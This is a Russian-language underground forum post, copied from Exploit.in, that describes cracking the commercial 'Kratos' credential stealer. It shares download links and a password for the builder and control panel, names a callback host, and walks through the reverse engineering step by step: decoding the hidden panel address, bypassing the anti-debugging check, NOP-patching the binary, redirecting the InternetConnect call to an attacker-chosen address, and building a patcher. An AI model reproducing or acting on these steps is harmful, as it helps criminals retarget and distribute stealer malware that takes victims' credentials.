MOLLY GIRL
Участник
Статья является копипастом.
Автор: Suffocation
Источник: https://forum.exploit.in/index.php?showtopic=139469&hl=kratos
Цель: на данный момент регистрация на Exploit закрыта, поэтому решила выложить в открытый доступ.
ims0rry, i am sorry
Йо йо, привет всем. С вами снова я. На этот раз вместо того, чтобы срать в топе я решил нагло спиздить его продукт. Ну, не совсем нагло, сначала я его купил.
Билдер + админка ( без инструкции ):
https://www.sendspace.com/file/tap1bg
пасс exploit.in
Кому нужна админка с инструкциями от автора, то качаем по этому линку. Прям как селлер предоставил: https://yadi.sk/d/Cej6h5fZ3VPP4U
Выкладываю кряк, а также как я его сделал под Kratos stealer от ims0rry
Источник - какой-то школо форум: https://darkwebs.ws/threads/39040/
Часто встречал, что его юзают. Везде слышу этот аймсорри. Решил глянуть че за аймсорри.
Продукт был приобретен у его селлера: https://forum.exploit.in/index.php?showtopic=139456
Так что админка прилагается. Все легально! А что, в условиях пользования был запрещен слив на вт, так туда я не сливал. Сливаю на эксп. Хм.
Судя по логам трафика он стучит куда мы скажем, так что должно работать. Чтобы стучала налево не заметил
Proof of work, отстук на мой Host: security-mail.top
Кстати, автор видимо ебанат писать название продукта в User-agent. Детект одним правилом у аверов...
How to
Итак, открываем билд. Идем в импорт и там смотрим где вызывается wininet функции. Находим функцию с такими прототипами:
Смотрим откуда она вызывается:
Пролистав вверх видим как пушится очень "неприметный" массив на стэк. Ага, ваще не палевно. Флаг в руки.
Как видим - внутри base64 строка, декодировав которую получаем адрес панели.
Выглядит в си это так:
CHAR unCrackable[] = {'b', 'l', 'a', 'b', 'l', 'a', '\0'};
Современные методы обфускации че сказать
Наша задача - это подменить.
Делается это тривиально не смотря на все это говно. Нам надо подменить строку, значит просто посмотрим где она юзается.
Вариант I
Подменить адрес base64. Вариант не очень, так как нам придется еще в бейс перегонять, да и юзаются std::string ( как мы видим дохуя аллокаторов ), из-за которой может возникнуть возня.
Вариант II
На том же месте подменить результат декода. Я хотел сделать так, и я сделал. Но почему-то вылетал Heap corruption, не стал разбираться. Так что не вариант
Вариант III
Помоему самый наглый
Его и сделаем
ims0rry видимо не знает что такое оптимизатор и поэтому отключает его от греха подальше
(это я о мусорном коде cmp ).
Это нам и поможет. Благодаря отключенному оптимизатору тут достаточно места, чтобы вписать mov ecx, адрес
Для этого прыгнем туда в дебагере. Врубаем, ставим бряк на интернетопен и хуярим. Попадаем на анти-дебаг ( который в последствии будем юзать для хранения адреса панели
Анти-дебаг прямиком из 90-х. Инлайним IsDebuggerPresent в надежде, что реверсер испугается и съебется. Ага.
Тупо вводим dbh в cmd x64dbg, он патчит PEB и ставит туда 0. Ims0rry, i am sorry за такое.
Видим внизу куча mov. Занопим их.
Видим кстати также стеб от ims0rry. Это говорит о том насколько чтение пеба он считает продвинутой техникой
Зашибись, теперь патчим вызов InternetConnect, чтобы адрес оно брало из занопленного анти-дебаг кода
Чтобы выглядело так:
Это кстати дебаг уже пропатченного бинаря. Видим 123.123.123.123 в стеке. Туда и отстучит
Осталось написать билдер и вместо nop писать то что нам надо.
Посмотрим файловый оффсет до нопов.
Спишем его, перегоним в хидер стаб и сделаем патчер:
Объяснений, надеюсь, не надо
Спасибо всем за внимание! С вами был suffocation. И еще повторю: ims0rry, i am sorry! Уж очень понравится слоган
P.S. Если захотите повторить не забудьте в хидерах отключить динамик базу
Источник: https://forum.exploit.in/index.php?showtopic=139469&hl=kratos
Цель: на данный момент регистрация на Exploit закрыта, поэтому решила выложить в открытый доступ.
Цель: на данный момент регистрация на Exploit закрыта, поэтому решила выложить в открытый доступ.